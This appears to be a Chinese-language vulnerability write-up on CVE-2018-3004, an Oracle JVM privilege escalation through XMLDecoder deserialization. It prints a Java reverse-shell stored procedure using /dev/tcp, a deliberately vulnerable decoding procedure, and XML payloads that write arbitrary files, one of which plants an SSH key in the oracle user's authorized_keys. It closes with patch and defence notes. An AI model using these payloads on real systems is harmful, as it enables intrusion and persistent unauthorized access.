基于反序列化的Oracle提权
字数 1042 2025-08-29 08:32:19
Oracle数据库反序列化提权漏洞分析与利用
漏洞概述
Oracle数据库存在一个通过Java反序列化绕过Oracle JVM内置安全机制实现权限提升的漏洞(CVE-2018-3004)。攻击者可以利用此漏洞获取服务器上的shell级访问权限和数据库的SYS级别权限。
技术背景
Java反序列化漏洞
Java反序列化漏洞自2015年Foxglove安全团队公开以来,已成为安全研究的热点。这些漏洞通常基于ysoserial库,允许攻击者通过反序列化恶意对象实现远程代码执行。
Oracle中的Java存储过程
Oracle Enterprise Edition内置了Java虚拟机,支持通过Java存储过程执行Java代码:
create function get_java_property(prop in varchar2)
return varchar2 is
language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String';
Oracle JVM的安全机制
Oracle JVM实现了细粒度的安全策略控制对操作系统和文件系统的访问。例如,直接执行系统命令会被阻止:
SET scan off
create or replace and compile java source named ReverseShell as
import java.io.*;
public class ReverseShell{
public static void getConnection(String ip, String port) throws InterruptedException, IOException{
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});
System.out.println(p.toString());
p.waitFor();
}
}
/
执行时会报错:
ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to TESTER.
The PL/SQL to grant this is dbms_java.grant_permission( 'TESTER', 'SYS:java.io.FilePermission','/bin/bash', 'execute' )
漏洞原理
XML反序列化绕过
通过XML反序列化可以绕过Oracle JVM的安全机制。Java提供了XMLEncoder和XMLDecoder类用于对象的XML序列化和反序列化。
创建易受攻击的Java存储过程:
create or replace and compile java source named DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
public static void input(String xml) throws InterruptedException, IOException {
XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
Object object = decoder.readObject();
System.out.println(object.toString());
decoder.close();
}
}
/
CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2)
IS language java name 'DecodeMe.input(java.lang.String)';
/
漏洞验证
- 基本测试 - 输出到控制台:
BEGIN
decodeme('<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.System" field="out">
<void method="println">
<string>This is test output to the console</string>
</void>
</object>
</java>');
END;
/
- 文件写入测试 - 创建文件:
BEGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0" >
<object class="java.io.FileWriter">
<string>/tmp/PleaseDoNotWork.txt</string>
<boolean>True</boolean>
<void method="write">
<string>Why for the love of god?</string>
</void>
<void method="close" />
</object>
</java>');
END;
/
漏洞利用
任意文件写入
攻击者可以覆盖或附加Oracle用户有权限的任何文件,可能导致:
- 拒绝服务攻击
- 数据损坏
- 系统完全沦陷
获取系统访问权限
通过向Oracle用户的.ssh/authorized_keys文件添加攻击者的RSA公钥,可以获取SSH访问权限:
BEGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0">
<object class="java.io.FileWriter">
<string>/home/oracle/.ssh/authorized_keys</string>
<boolean>True</boolean>
<void method="write">
<string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5</string>
</void>
<void method="close" />
</object>
</java>');
END;
/
影响范围
- Oracle 12C及更早版本
- 共享租户模型环境(多个应用共享同一数据库)
- Oracle Exadata实现(同一服务器托管多个数据库实例)
修复方案
Oracle已发布补丁修复此漏洞:
- Oracle错误号:Bug 27923353
- 补丁版本:OJVM 12.2.0.1.180717 (p27923353_122010_Linux-x86-64.zip)
防御建议
- 及时应用Oracle发布的安全补丁
- 限制数据库用户的权限,遵循最小权限原则
- 监控异常的文件系统修改
- 定期审计数据库中的Java存储过程
- 限制数据库服务器的网络访问,特别是SSH服务
总结
此漏洞展示了Java反序列化漏洞不仅存在于应用服务器中,也可能出现在嵌入式实现如数据库的Java虚拟机中。安全研究人员需要拓宽视野,考虑各种环境下的反序列化攻击向量。